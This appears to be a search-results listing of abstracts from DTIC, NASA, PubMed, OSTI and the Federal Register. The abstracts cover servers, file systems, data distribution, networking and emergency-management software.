Database Migration for Command and Control

DTIC Science & Technology

2002-11-01

Sql - proprietary JDP Private Area Air defense data Defended asset list Oracle 7.3.2 - Automated process (OLTP...TADIL warnings Oracle 7.3.2 Flat File - Discrete transaction with data upds - NRT response required Pull mission data Std SQL ...level execution data Oracle 7.3 User update External interfaces Auto/manual backup Messaging Proprietary replication (internally) SQL Web server

75 FR 13172 - Self-Regulatory Organizations; The NASDAQ Stock Market LLC; Notice of Filing and Immediate...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-03-18

... internal distributors count and report each server and display device that processes TotalView-ITCH data as a professional TotalView and OpenView user. Some firms report upwards of 500 devices, while other.... Nasdaq has offered similar enterprise licenses for professional and non-professional usage of TotalView...

The Electronic Library: The Student/Scholar Workstation, CD-ROM and Hypertext.

ERIC Educational Resources Information Center

Triebwasser, Marc A.

Predicting that a large component of the library of the not so distant future will be an electronic network of file servers where information is stored for access by personal computer workstations in remote locations as well as the library, this paper discusses innovative computer technologies--particularly CD-ROM (Compact Disk-Read Only Memory)…

Measurements over distributed high performance computing and storage systems

NASA Technical Reports Server (NTRS)

Williams, Elizabeth; Myers, Tom

1993-01-01

A strawman proposal is given for a framework for presenting a common set of metrics for supercomputers, workstations, file servers, mass storage systems, and the networks that interconnect them. Production control and database systems are also included. Though other applications and third part software systems are not addressed, it is important to measure them as well.

Issues to be resolved in Torrents—Future Revolutionised File Sharing

NASA Astrophysics Data System (ADS)

Thanekar, Sachin Arun

2010-11-01

Torrenting is a highly popular peer to peer file sharing activity that allows participants to send and receive files from other computers. As it is an advantageous technique as compare to traditional client server file sharing in terms of time, cost and speed, some drawbaks are also there. Content unavailability, lack of anonymity, leechers, cheaters and download speed consistency are the major problems to sort out. Efforts are needed to resolve these problems and to make this better application. Legal issues are also one of the measure factors of consideration. BitTorrent metafiles themselves do not store copyrighted data. Whether the publishers of BitTorrent metafiles violate copyrights by linking to copyrighted material is controversial. Various countries have taken legal action against websites that host BitTorrent trackers. Eg. Supernova.org, Torrentspy. Efforts are also needed to make such a useful protocol legal.

Autonomous Inspection of Electrical Transmission Structures with Airborne UV Sensors - NASA Report on Dominion Virginia Power Flights of November 2016

NASA Technical Reports Server (NTRS)

Moore, Andrew J.; Schubert, Matthew; Nicholas Rymer

2017-01-01

The report details test and measurement flights to demonstrate autonomous UAV inspection of high voltage electrical transmission structures. A UAV built with commercial, off-the-shelf hardware and software, supplemented with custom sensor logging software, measured ultraviolet emissions from a test generator placed on a low-altitude substation and a medium-altitude switching tower. Since corona discharge precedes catastrophic electrical faults on high-voltage structures, detection and geolocation of ultraviolet emissions is needed to develop a UAV-based self-diagnosing power grid. Signal readings from an onboard ultraviolet sensor were validated during flight with a commercial corona camera. Geolocation was accomplished with onboard GPS; the UAV position was logged to a local ground station and transmitted in real time to a NASA server for tracking in the national airspace.

Developing a Telescope Simulator Towards a Global Autonomous Robotic Telescope Network

NASA Astrophysics Data System (ADS)

Giakoumidis, N.; Ioannou, Z.; Dong, H.; Mavridis, N.

2013-05-01

A robotic telescope network is a system that integrates a number of telescopes to observe a variety of astronomical targets without being operated by a human. This system autonomously selects and observes targets in accordance to an optimized target. It dynamically allocates telescope resources depending on the observation requests, specifications of the telescopes, target visibility, meteorological conditions, daylight, location restrictions and availability and many other factors. In this paper, we introduce a telescope simulator, which can control a telescope to a desired position in order to observe a specific object. The system includes a Client Module, a Server Module, and a Dynamic Scheduler module. We make use and integrate a number of open source software to simulate the movement of a robotic telescope, the telescope characteristics, the observational data and weather conditions in order to test and optimize our system.

Measurements of file transfer rates over dedicated long-haul connections

DOE Office of Scientific and Technical Information (OSTI.GOV)

Rao, Nageswara S; Settlemyer, Bradley W; Imam, Neena

2016-01-01

Wide-area file transfers are an integral part of several High-Performance Computing (HPC) scenarios. Dedicated network connections with high capacity, low loss rate and low competing traffic, are increasingly being provisioned over current HPC infrastructures to support such transfers. To gain insights into these file transfers, we collected transfer rate measurements for Lustre and xfs file systems between dedicated multi-core servers over emulated 10 Gbps connections with round trip times (rtt) in 0-366 ms range. Memory transfer throughput over these connections is measured using iperf, and file IO throughput on host systems is measured using xddprof. We consider two file systemmore » configurations: Lustre over IB network and xfs over SSD connected to PCI bus. Files are transferred using xdd across these connections, and the transfer rates are measured, which indicate the need to jointly optimize the connection and host file IO parameters to achieve peak transfer rates. In particular, these measurements indicate that (i) peak file transfer rate is lower than peak connection and host IO throughput, in some cases by as much as 50% or lower, (ii) xdd request sizes that achieve peak throughput for host file IO do not necessarily lead to peak file transfer rates, and (iii) parallelism in host IO and TCP transport does not always improve the file transfer rates.« less

Accessing and distributing EMBL data using CORBA (common object request broker architecture).

PubMed

Wang, L; Rodriguez-Tomé, P; Redaschi, N; McNeil, P; Robinson, A; Lijnzaad, P

2000-01-01

The EMBL Nucleotide Sequence Database is a comprehensive database of DNA and RNA sequences and related information traditionally made available in flat-file format. Queries through tools such as SRS (Sequence Retrieval System) also return data in flat-file format. Flat files have a number of shortcomings, however, and the resources therefore currently lack a flexible environment to meet individual researchers' needs. The Object Management Group's common object request broker architecture (CORBA) is an industry standard that provides platform-independent programming interfaces and models for portable distributed object-oriented computing applications. Its independence from programming languages, computing platforms and network protocols makes it attractive for developing new applications for querying and distributing biological data. A CORBA infrastructure developed by EMBL-EBI provides an efficient means of accessing and distributing EMBL data. The EMBL object model is defined such that it provides a basis for specifying interfaces in interface definition language (IDL) and thus for developing the CORBA servers. The mapping from the object model to the relational schema in the underlying Oracle database uses the facilities provided by PersistenceTM, an object/relational tool. The techniques of developing loaders and 'live object caching' with persistent objects achieve a smart live object cache where objects are created on demand. The objects are managed by an evictor pattern mechanism. The CORBA interfaces to the EMBL database address some of the problems of traditional flat-file formats and provide an efficient means for accessing and distributing EMBL data. CORBA also provides a flexible environment for users to develop their applications by building clients to our CORBA servers, which can be integrated into existing systems.

Data Flow for the TERRA-REF project

NASA Astrophysics Data System (ADS)

Kooper, R.; Burnette, M.; Maloney, J.; LeBauer, D.

2017-12-01

The Transportation Energy Resources from Renewable Agriculture Phenotyping Reference Platform (TERRA-REF) program aims to identify crop traits that are best suited to producing high-energy sustainable biofuels and match those plant characteristics to their genes to speed the plant breeding process. One tool used to achieve this goal is a high-throughput phenotyping robot outfitted with sensors and cameras to monitor the growth of 1.25 acres of sorghum. Data types range from hyperspectral imaging to 3D reconstructions and thermal profiles, all at 1mm resolution. This system produces thousands of daily measurements with high spatiotemporal resolution. The team at NCSA processes, annotates, organizes and stores the massive amounts of data produced by this system - up to 5 TB per day. Data from the sensors is streamed to a local gantry-cache server. The standardized sensor raw data stream is automatically and securely delivered to NCSA using Globus Connect service. Once files have been successfully received by the Globus endpoint, the files are removed from the gantry-cache server. As each dataset arrives or is created the Clowder system automatically triggers different software tools to analyze each file, extract information, and convert files to a common format. Other tools can be triggered to run after all required data is uploaded. For example, a stitched image of the entire field is created after all images of the field become available. Some of these tools were developed by external collaborators based on predictive models and algorithms, others were developed as part of other projects and could be leveraged by the TERRA project. Data will be stored for the lifetime of the project and is estimated to reach 10 PB over 3 years. The Clowder system, BETY and other systems will allow users to easily find data by browsing or searching the extracted information.

Medical imaging informatics based solutions for human performance analytics

NASA Astrophysics Data System (ADS)

Verma, Sneha; McNitt-Gray, Jill; Liu, Brent J.

2018-03-01

For human performance analysis, extensive experimental trials are often conducted to identify the underlying cause or long-term consequences of certain pathologies and to improve motor functions by examining the movement patterns of affected individuals. Data collected for human performance analysis includes high-speed video, surveys, spreadsheets, force data recordings from instrumented surfaces etc. These datasets are recorded from various standalone sources and therefore captured in different folder structures as well as in varying formats depending on the hardware configurations. Therefore, data integration and synchronization present a huge challenge while handling these multimedia datasets specifically for large datasets. Another challenge faced by researchers is querying large quantity of unstructured data and to design feedbacks/reporting tools for users who need to use datasets at various levels. In the past, database server storage solutions have been introduced to securely store these datasets. However, to automate the process of uploading raw files, various file manipulation steps are required. In the current workflow, this file manipulation and structuring is done manually and is not feasible for large amounts of data. However, by attaching metadata files and data dictionaries with these raw datasets, they can provide information and structure needed for automated server upload. We introduce one such system for metadata creation for unstructured multimedia data based on the DICOM data model design. We will discuss design and implementation of this system and evaluate this system with data set collected for movement analysis study. The broader aim of this paper is to present a solutions space achievable based on medical imaging informatics design and methods for improvement in workflow for human performance analysis in a biomechanics research lab.

Accessing and distributing EMBL data using CORBA (common object request broker architecture)

PubMed Central

Wang, Lichun; Rodriguez-Tomé, Patricia; Redaschi, Nicole; McNeil, Phil; Robinson, Alan; Lijnzaad, Philip

2000-01-01

Background: The EMBL Nucleotide Sequence Database is a comprehensive database of DNA and RNA sequences and related information traditionally made available in flat-file format. Queries through tools such as SRS (Sequence Retrieval System) also return data in flat-file format. Flat files have a number of shortcomings, however, and the resources therefore currently lack a flexible environment to meet individual researchers' needs. The Object Management Group's common object request broker architecture (CORBA) is an industry standard that provides platform-independent programming interfaces and models for portable distributed object-oriented computing applications. Its independence from programming languages, computing platforms and network protocols makes it attractive for developing new applications for querying and distributing biological data. Results: A CORBA infrastructure developed by EMBL-EBI provides an efficient means of accessing and distributing EMBL data. The EMBL object model is defined such that it provides a basis for specifying interfaces in interface definition language (IDL) and thus for developing the CORBA servers. The mapping from the object model to the relational schema in the underlying Oracle database uses the facilities provided by PersistenceTM, an object/relational tool. The techniques of developing loaders and 'live object caching' with persistent objects achieve a smart live object cache where objects are created on demand. The objects are managed by an evictor pattern mechanism. Conclusions: The CORBA interfaces to the EMBL database address some of the problems of traditional flat-file formats and provide an efficient means for accessing and distributing EMBL data. CORBA also provides a flexible environment for users to develop their applications by building clients to our CORBA servers, which can be integrated into existing systems. PMID:11178259

Escape Excel: A tool for preventing gene symbol and accession conversion errors

PubMed Central

Stewart, Paul A.; Kuenzi, Brent M.; Eschrich, James A.

2017-01-01

Background Microsoft Excel automatically converts certain gene symbols, database accessions, and other alphanumeric text into dates, scientific notation, and other numerical representations. These conversions lead to subsequent, irreversible, corruption of the imported text. A recent survey of popular genomic literature estimates that one-fifth of all papers with supplementary gene lists suffer from this issue. Results Here, we present an open-source tool, Escape Excel, which prevents these erroneous conversions by generating an escaped text file that can be safely imported into Excel. Escape Excel is implemented in a variety of formats (http://www.github.com/pstew/escape_excel), including a command line based Perl script, a Windows-only Excel Add-In, an OS X drag-and-drop application, a simple web-server, and as a Galaxy web environment interface. Test server implementations are accessible as a Galaxy interface (http://apostl.moffitt.org) and simple non-Galaxy web server (http://apostl.moffitt.org:8000/). Conclusions Escape Excel detects and escapes a wide variety of problematic text strings so that they are not erroneously converted into other representations upon importation into Excel. Examples of problematic strings include date-like strings, time-like strings, leading zeroes in front of numbers, and long numeric and alphanumeric identifiers that should not be automatically converted into scientific notation. It is hoped that greater awareness of these potential data corruption issues, together with diligent escaping of text files prior to importation into Excel, will help to reduce the amount of Excel-corrupted data in scientific analyses and publications. PMID:28953918

Developments and applications of DAQ framework DABC v2

NASA Astrophysics Data System (ADS)

Adamczewski-Musch, J.; Kurz, N.; Linev, S.

2015-12-01

The Data Acquisition Backbone Core (DABC) is a software framework for distributed data acquisition. In 2013 Version 2 of DABC has been released with several improvements. For monitoring and control, an HTTP web server and a proprietary command channel socket have been provided. Web browser GUIs have been implemented for configuration and control of DABC and MBS DAQ nodes via such HTTP server. Several specific plug-ins, for example interfacing PEXOR/KINPEX optical readout PCIe boards, or HADES trbnet input and hld file output, have been further developed. In 2014, DABC v2 was applied for production data taking of the HADES collaboration's pion beam time at GSI. It fully replaced the functionality of the previous event builder software and added new features concerning online monitoring.

Electronic document distribution: Design of the anonymous FTP Langley Technical Report Server

NASA Technical Reports Server (NTRS)

Nelson, Michael L.; Gottlich, Gretchen L.

1994-01-01

An experimental electronic dissemination project, the Langley Technical Report Server (LTRS), has been undertaken to determine the feasibility of delivering Langley technical reports directly to the desktops of researchers worldwide. During the first six months, over 4700 accesses occurred and over 2400 technical reports were distributed. This usage indicates the high level of interest that researchers have in performing literature searches and retrieving technical reports at their desktops. The initial system was developed with existing resources and technology. The reports are stored as files on an inexpensive UNIX workstation and are accessible over the Internet. This project will serve as a foundation for ongoing projects at other NASA centers that will allow for greater access to NASA technical reports.

A Web Server for MACCS Magnetometer Data

NASA Technical Reports Server (NTRS)

Engebretson, Mark J.

1998-01-01

NASA Grant NAG5-3719 was provided to Augsburg College to support the development of a web server for the Magnetometer Array for Cusp and Cleft Studies (MACCS), a two-dimensional array of fluxgate magnetometers located at cusp latitudes in Arctic Canada. MACCS was developed as part of the National Science Foundation's GEM (Geospace Environment Modeling) Program, which was designed in part to complement NASA's Global Geospace Science programs during the decade of the 1990s. This report describes the successful use of these grant funds to support a working web page that provides both daily plots and file access to any user accessing the worldwide web. The MACCS home page can be accessed at http://space.augsburg.edu/space/MaccsHome.html.

Modeling And Simulation Of Multimedia Communication Networks

NASA Astrophysics Data System (ADS)

Vallee, Richard; Orozco-Barbosa, Luis; Georganas, Nicolas D.

1989-05-01

In this paper, we present a simulation study of a browsing system involving radiological image servers. The proposed IEEE 802.6 DQDB MAN standard is designated as the computer network to transfer radiological images from file servers to medical workstations, and to simultaneously support real time voice communications. Storage and transmission of original raster scanned images and images compressed according to pyramid data structures are considered. Different types of browsing as well as various image sizes and bit rates in the DQDB MAN are also compared. The elapsed time, measured from the time an image request is issued until the image is displayed on the monitor, is the parameter considered to evaluate the system performance. Simulation results show that image browsing can be supported by the DQDB MAN.

Fault-Tolerant Local-Area Network

NASA Technical Reports Server (NTRS)

Morales, Sergio; Friedman, Gary L.

1988-01-01

Local-area network (LAN) for computers prevents single-point failure from interrupting communication between nodes of network. Includes two complete cables, LAN 1 and LAN 2. Microprocessor-based slave switches link cables to network-node devices as work stations, print servers, and file servers. Slave switches respond to commands from master switch, connecting nodes to two cable networks or disconnecting them so they are completely isolated. System monitor and control computer (SMC) acts as gateway, allowing nodes on either cable to communicate with each other and ensuring that LAN 1 and LAN 2 are fully used when functioning properly. Network monitors and controls itself, automatically routes traffic for efficient use of resources, and isolates and corrects its own faults, with potential dramatic reduction in time out of service.

GFFview: A Web Server for Parsing and Visualizing Annotation Information of Eukaryotic Genome.

PubMed

Deng, Feilong; Chen, Shi-Yi; Wu, Zhou-Lin; Hu, Yongsong; Jia, Xianbo; Lai, Song-Jia

2017-10-01

Owing to wide application of RNA sequencing (RNA-seq) technology, more and more eukaryotic genomes have been extensively annotated, such as the gene structure, alternative splicing, and noncoding loci. Annotation information of genome is prevalently stored as plain text in General Feature Format (GFF), which could be hundreds or thousands Mb in size. Therefore, it is a challenge for manipulating GFF file for biologists who have no bioinformatic skill. In this study, we provide a web server (GFFview) for parsing the annotation information of eukaryotic genome and then generating statistical description of six indices for visualization. GFFview is very useful for investigating quality and difference of the de novo assembled transcriptome in RNA-seq studies.

preAssemble: a tool for automatic sequencer trace data processing.

PubMed

Adzhubei, Alexei A; Laerdahl, Jon K; Vlasova, Anna V

2006-01-17

Trace or chromatogram files (raw data) are produced by automatic nucleic acid sequencing equipment or sequencers. Each file contains information which can be interpreted by specialised software to reveal the sequence (base calling). This is done by the sequencer proprietary software or publicly available programs. Depending on the size of a sequencing project the number of trace files can vary from just a few to thousands of files. Sequencing quality assessment on various criteria is important at the stage preceding clustering and contig assembly. Two major publicly available packages--Phred and Staden are used by preAssemble to perform sequence quality processing. The preAssemble pre-assembly sequence processing pipeline has been developed for small to large scale automatic processing of DNA sequencer chromatogram (trace) data. The Staden Package Pregap4 module and base-calling program Phred are utilized in the pipeline, which produces detailed and self-explanatory output that can be displayed with a web browser. preAssemble can be used successfully with very little previous experience, however options for parameter tuning are provided for advanced users. preAssemble runs under UNIX and LINUX operating systems. It is available for downloading and will run as stand-alone software. It can also be accessed on the Norwegian Salmon Genome Project web site where preAssemble jobs can be run on the project server. preAssemble is a tool allowing to perform quality assessment of sequences generated by automatic sequencing equipment. preAssemble is flexible since both interactive jobs on the preAssemble server and the stand alone downloadable version are available. Virtually no previous experience is necessary to run a default preAssemble job, on the other hand options for parameter tuning are provided. Consequently preAssemble can be used as efficiently for just several trace files as for large scale sequence processing.

Networks for Autonomous Formation Flying Satellite Systems

NASA Technical Reports Server (NTRS)

Knoblock, Eric J.; Konangi, Vijay K.; Wallett, Thomas M.; Bhasin, Kul B.

2001-01-01

The performance of three communications networks to support autonomous multi-spacecraft formation flying systems is presented. All systems are comprised of a ten-satellite formation arranged in a star topology, with one of the satellites designated as the central or "mother ship." All data is routed through the mother ship to the terrestrial network. The first system uses a TCP/lP over ATM protocol architecture within the formation the second system uses the IEEE 802.11 protocol architecture within the formation and the last system uses both of the previous architectures with a constellation of geosynchronous satellites serving as an intermediate point-of-contact between the formation and the terrestrial network. The simulations consist of file transfers using either the File Transfer Protocol (FTP) or the Simple Automatic File Exchange (SAFE) Protocol. The results compare the IF queuing delay, and IP processing delay at the mother ship as well as application-level round-trip time for both systems, In all cases, using IEEE 802.11 within the formation yields less delay. Also, the throughput exhibited by SAFE is better than FTP.

Micro Autonomous Systems Research: Systems Engineering Processes for Micro-Autonomous Systems

DTIC Science & Technology

2015-09-30

detailed geometry that can be sent directly to an automated manufacturing process like a 3D printer . Like traditional design, 3D CAD files were...force REF is stationed. The REF operates mobile manufacturing labs equipped with 3D printers , laser cutters, and CNC mills. The REF takes the...to verify that the 3d printer was cable of printing airfoil sections with sufficient accuracy and consistency while also providing an airfoil that

Automatic Response to Intrusion

DTIC Science & Technology

2002-10-01

Computing Corporation Sidewinder Firewall [18] SRI EMERALD Basic Security Module (BSM) and EMERALD File Transfer Protocol (FTP) Monitors...the same event TCP Wrappers [24] Internet Security Systems RealSecure [31] SRI EMERALD IDIP monitor NAI Labs Generic Software Wrappers Prototype...included EMERALD , NetRadar, NAI Labs UNIX wrappers, ARGuE, MPOG, NetRadar, CyberCop Server, Gauntlet, RealSecure, and the Cyber Command System

77 FR 16288 - Self-Regulatory Organizations; NASDAQ OMX BX, Inc.; Notice of Filing and Immediate Effectiveness...

Federal Register 2010, 2011, 2012, 2013, 2014

2012-03-20

... Eliminate the 100MB Connectivity Option and Fee March 14, 2012. Pursuant to Section 19(b)(1) of the... proposes to eliminate 100MB connectivity between the Exchange and co-located servers, as well as associated... Proposed Rule Change 1. Purpose The Exchange proposes to modify Rule 7034(b) to eliminate 100MB...

75 FR 43574 - Exelon Generation Company, LLC; PSEG Nuclear, LLC; Notice of Consideration of Issuance of...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-07-26

... representative) to digitally sign documents and access the E-Submittal server for any proceeding in which it is....regulations.gov and search for documents filed under Docket ID NRC-2010-0258. Comments may be submitted... 20555-0001, or by fax to RADB at (301) 492-3446. You can access publicly available documents related to...

Service Without Servers

DTIC Science & Technology

1993-08-01

Abstract We propose a new style of operating system architecture appropriate for microkernel -based operating sys- tems: services are implemented as a...retaining all the modularity advantages of microkernel technology. Since services reside in libraries, an application is free to use the library that...U.S. Government. 93-23976,. . I~lUI5E NIIA Keywords: Operating Systems, Microkernel , Network communication, File organization 1. Introduction In the

77 FR 3017 - Self-Regulatory Organizations; C2 Options Exchange, Incorporated; Notice of Filing and Immediate...

Federal Register 2010, 2011, 2012, 2013, 2014

2012-01-20

... be charged on a per-Login ID basis. Firms may access C2 via either a CMI Client Application [[Page..., using different Login IDs, accessing the same CMI Client Application Server or FIX Port, allowing the firm to only pay the monthly fee once. Alternatively, a firm may use the same Login ID to access...

76 FR 63974 - Self-Regulatory Organizations; Chicago Board Options Exchange, Incorporated; Notice of Filing and...

Federal Register 2010, 2011, 2012, 2013, 2014

2011-10-14

... charges to assess a fee for each CMI Login ID. Firms may access CBOEdirect via either a CMI Client... Login IDs, accessing the same CMI Client Application Server, allowing the firm to only pay the monthly fee once. Alternatively, a firm may use the same Login ID to access different CMI Client Application...

Operational Experience with the Frontier System in CMS

DOE Office of Scientific and Technical Information (OSTI.GOV)

Blumenfeld, Barry; Dykstra, Dave; Kreuzer, Peter

2012-06-20

The Frontier framework is used in the CMS experiment at the LHC to deliver conditions data to processing clients worldwide, including calibration, alignment, and configuration information. Each central server at CERN, called a Frontier Launchpad, uses tomcat as a servlet container to establish the communication between clients and the central Oracle database. HTTP-proxy Squid servers, located close to clients, cache the responses to queries in order to provide high performance data access and to reduce the load on the central Oracle database. Each Frontier Launchpad also has its own reverse-proxy Squid for caching. The three central servers have been deliveringmore » about 5 million responses every day since the LHC startup, containing about 40 GB data in total, to more than one hundred Squid servers located worldwide, with an average response time on the order of 10 milliseconds. The Squid caches deployed worldwide process many more requests per day, over 700 million, and deliver over 40 TB of data. Several monitoring tools of the tomcat log files, the accesses of the Squids on the central Launchpad servers, and the availability of remote Squids have been developed to guarantee the performance of the service and make the system easily maintainable. Following a brief introduction of the Frontier framework, we describe the performance of this highly reliable and stable system, detail monitoring concerns and their deployment, and discuss the overall operational experience from the first two years of LHC data-taking.« less

Operational Experience with the Frontier System in CMS

NASA Astrophysics Data System (ADS)

Blumenfeld, Barry; Dykstra, Dave; Kreuzer, Peter; Du, Ran; Wang, Weizhen

2012-12-01

The Frontier framework is used in the CMS experiment at the LHC to deliver conditions data to processing clients worldwide, including calibration, alignment, and configuration information. Each central server at CERN, called a Frontier Launchpad, uses tomcat as a servlet container to establish the communication between clients and the central Oracle database. HTTP-proxy Squid servers, located close to clients, cache the responses to queries in order to provide high performance data access and to reduce the load on the central Oracle database. Each Frontier Launchpad also has its own reverse-proxy Squid for caching. The three central servers have been delivering about 5 million responses every day since the LHC startup, containing about 40 GB data in total, to more than one hundred Squid servers located worldwide, with an average response time on the order of 10 milliseconds. The Squid caches deployed worldwide process many more requests per day, over 700 million, and deliver over 40 TB of data. Several monitoring tools of the tomcat log files, the accesses of the Squids on the central Launchpad servers, and the availability of remote Squids have been developed to guarantee the performance of the service and make the system easily maintainable. Following a brief introduction of the Frontier framework, we describe the performance of this highly reliable and stable system, detail monitoring concerns and their deployment, and discuss the overall operational experience from the first two years of LHC data-taking.

FDDI information management system for centralizing interactive, computerized multimedia clinical experiences in pediatric rheumatology/Immunology.

PubMed

Rouhani, R; Cronenberger, H; Stein, L; Hannum, W; Reed, A M; Wilhelm, C; Hsiao, H

1995-01-01

This paper describes the design, authoring, and development of interactive, computerized, multimedia clinical simulations in pediatric rheumatology/immunology and related musculoskeletal diseases, the development and implementation of a high speed information management system for their centralized storage and distribution, and analytical methods for evaluating the total system's educational impact on medical students and pediatric residents. An FDDI fiber optic network with client/server/host architecture is the core. The server houses digitized audio, still-image video clips and text files. A host station houses the DB2/2 database containing case-associated labels and information. Cases can be accessed from any workstation via a customized interface in AVA/2 written specifically for this application. OS/2 Presentation Manager controls, written in C, are incorporated into the interface. This interface allows SQL searches and retrievals of cases and case materials. In addition to providing user-directed clinical experiences, this centralized information management system provides designated faculty with the ability to add audio notes and visual pointers to image files. Users may browse through case materials, mark selected ones and download them for utilization in lectures or for editing and converting into 35mm slides.

Launching large computing applications on a disk-less cluster

NASA Astrophysics Data System (ADS)

Schwemmer, Rainer; Caicedo Carvajal, Juan Manuel; Neufeld, Niko

2011-12-01

The LHCb Event Filter Farm system is based on a cluster of the order of 1.500 disk-less Linux nodes. Each node runs one instance of the filtering application per core. The amount of cores in our current production environment is 8 per machine for the old cluster and 12 per machine on extension of the cluster. Each instance has to load about 1.000 shared libraries, weighting 200 MB from several directory locations from a central repository. The repository is currently hosted on a SAN and exported via NFS. The libraries are all available in the local file system cache on every node. Loading a library still causes a huge number of requests to the server though, because the loader will try to probe every available path. Measurements show there are between 100.000-200.000 calls per application instance start up. Multiplied by the numbers of cores in the farm, this translates into a veritable DDoS attack on the servers, which lasts several minutes. Since the application is being restarted frequently, a better solution had to be found.scp Rolling out the software to the nodes is out of the question, because they have no disks and the software in it's entirety is too large to put into a ram disk. To solve this problem we developed a FUSE based file systems which acts as a permanent, controllable cache that keeps the essential files that are necessary in stock.

Alignment-Annotator web server: rendering and annotating sequence alignments.

PubMed

Gille, Christoph; Fähling, Michael; Weyand, Birgit; Wieland, Thomas; Gille, Andreas

2014-07-01

Alignment-Annotator is a novel web service designed to generate interactive views of annotated nucleotide and amino acid sequence alignments (i) de novo and (ii) embedded in other software. All computations are performed at server side. Interactivity is implemented in HTML5, a language native to web browsers. The alignment is initially displayed using default settings and can be modified with the graphical user interfaces. For example, individual sequences can be reordered or deleted using drag and drop, amino acid color code schemes can be applied and annotations can be added. Annotations can be made manually or imported (BioDAS servers, the UniProt, the Catalytic Site Atlas and the PDB). Some edits take immediate effect while others require server interaction and may take a few seconds to execute. The final alignment document can be downloaded as a zip-archive containing the HTML files. Because of the use of HTML the resulting interactive alignment can be viewed on any platform including Windows, Mac OS X, Linux, Android and iOS in any standard web browser. Importantly, no plugins nor Java are required and therefore Alignment-Anotator represents the first interactive browser-based alignment visualization. http://www.bioinformatics.org/strap/aa/ and http://strap.charite.de/aa/. © The Author(s) 2014. Published by Oxford University Press on behalf of Nucleic Acids Research.

Alignment-Annotator web server: rendering and annotating sequence alignments

PubMed Central

Gille, Christoph; Fähling, Michael; Weyand, Birgit; Wieland, Thomas; Gille, Andreas

2014-01-01

Alignment-Annotator is a novel web service designed to generate interactive views of annotated nucleotide and amino acid sequence alignments (i) de novo and (ii) embedded in other software. All computations are performed at server side. Interactivity is implemented in HTML5, a language native to web browsers. The alignment is initially displayed using default settings and can be modified with the graphical user interfaces. For example, individual sequences can be reordered or deleted using drag and drop, amino acid color code schemes can be applied and annotations can be added. Annotations can be made manually or imported (BioDAS servers, the UniProt, the Catalytic Site Atlas and the PDB). Some edits take immediate effect while others require server interaction and may take a few seconds to execute. The final alignment document can be downloaded as a zip-archive containing the HTML files. Because of the use of HTML the resulting interactive alignment can be viewed on any platform including Windows, Mac OS X, Linux, Android and iOS in any standard web browser. Importantly, no plugins nor Java are required and therefore Alignment-Anotator represents the first interactive browser-based alignment visualization. Availability: http://www.bioinformatics.org/strap/aa/ and http://strap.charite.de/aa/. PMID:24813445

Intellectual Production Supervision Perform based on RFID Smart Electricity Meter

NASA Astrophysics Data System (ADS)

Chen, Xiangqun; Huang, Rui; Shen, Liman; chen, Hao; Xiong, Dezhi; Xiao, Xiangqi; Liu, Mouhai; Xu, Renheng

2018-03-01

This topic develops the RFID intelligent electricity meter production supervision project management system. The system is designed for energy meter production supervision in the management of the project schedule, quality and cost information management requirements in RFID intelligent power, and provide quantitative information more comprehensive, timely and accurate for supervision engineer and project manager management decisions, and to provide technical information for the product manufacturing stage file. From the angle of scheme analysis, design, implementation and test, the system development of production supervision project management system for RFID smart meter project is discussed. Focus on the development of the system, combined with the main business application and management mode at this stage, focuses on the energy meter to monitor progress information, quality information and cost based information on RFID intelligent power management function. The paper introduces the design scheme of the system, the overall client / server architecture, client oriented graphical user interface universal, complete the supervision of project management and interactive transaction information display, the server system of realizing the main program. The system is programmed with C# language and.NET operating environment, and the client and server platforms use Windows operating system, and the database server software uses Oracle. The overall platform supports mainstream information and standards and has good scalability.

SteinerNet: a web server for integrating ‘omic’ data to discover hidden components of response pathways

PubMed Central

Tuncbag, Nurcan; McCallum, Scott; Huang, Shao-shan Carol; Fraenkel, Ernest

2012-01-01

High-throughput technologies including transcriptional profiling, proteomics and reverse genetics screens provide detailed molecular descriptions of cellular responses to perturbations. However, it is difficult to integrate these diverse data to reconstruct biologically meaningful signaling networks. Previously, we have established a framework for integrating transcriptional, proteomic and interactome data by searching for the solution to the prize-collecting Steiner tree problem. Here, we present a web server, SteinerNet, to make this method available in a user-friendly format for a broad range of users with data from any species. At a minimum, a user only needs to provide a set of experimentally detected proteins and/or genes and the server will search for connections among these data from the provided interactomes for yeast, human, mouse, Drosophila melanogaster and Caenorhabditis elegans. More advanced users can upload their own interactome data as well. The server provides interactive visualization of the resulting optimal network and downloadable files detailing the analysis and results. We believe that SteinerNet will be useful for researchers who would like to integrate their high-throughput data for a specific condition or cellular response and to find biologically meaningful pathways. SteinerNet is accessible at http://fraenkel.mit.edu/steinernet. PMID:22638579

Molray--a web interface between O and the POV-Ray ray tracer.

PubMed

Harris, M; Jones, T A

2001-08-01

A publicly available web-based interface is presented for producing high-quality ray-traced images and movies from the molecular-modelling program O [Jones et al. (1991), Acta Cryst. A47, 110-119]. The interface allows the user to select O-plot files and set parameters to create standard input files for the popular ray-tracing renderer POV-Ray, which can then produce publication-quality still images or simple movies. To ensure ease of use, we have made this service available to the O user community via the World Wide Web. The public Molray server is available at http://xray.bmc.uu.se/molray.

Federal Emergency Management Information System (FEMIS) system administration guide, version 1.4.5

DOE Office of Scientific and Technical Information (OSTI.GOV)

Arp, J.A.; Burnett, R.A.; Carter, R.J.

The Federal Emergency Management Information Systems (FEMIS) is an emergency management planning and response tool that was developed by the Pacific Northwest National Laboratory (PNNL) under the direction of the US Army Chemical Biological Defense Command. The FEMIS System Administration Guide provides information necessary for the system administrator to maintain the FEMIS system. The FEMIS system is designed for a single Chemical Stockpile Emergency Preparedness Program (CSEPP) site that has multiple Emergency Operations Centers (EOCs). Each EOC has personal computers (PCs) that emergency planners and operations personnel use to do their jobs. These PCs are connected via a local areamore » network (LAN) to servers that provide EOC-wide services. Each EOC is interconnected to other EOCs via a Wide Area Network (WAN). Thus, FEMIS is an integrated software product that resides on client/server computer architecture. The main body of FEMIS software, referred to as the FEMIS Application Software, resides on the PC client(s) and is directly accessible to emergency management personnel. The remainder of the FEMIS software, referred to as the FEMIS Support Software, resides on the UNIX server. The Support Software provides the communication, data distribution, and notification functionality necessary to operate FEMIS in a networked, client/server environment. The UNIX server provides an Oracle relational database management system (RDBMS) services, ARC/INFO GIS (optional) capabilities, and basic file management services. PNNL developed utilities that reside on the server include the Notification Service, the Command Service that executes the evacuation model, and AutoRecovery. To operate FEMIS, the Application Software must have access to a site specific FEMIS emergency management database. Data that pertains to an individual EOC`s jurisdiction is stored on the EOC`s local server. Information that needs to be accessible to all EOCs is automatically distributed by the 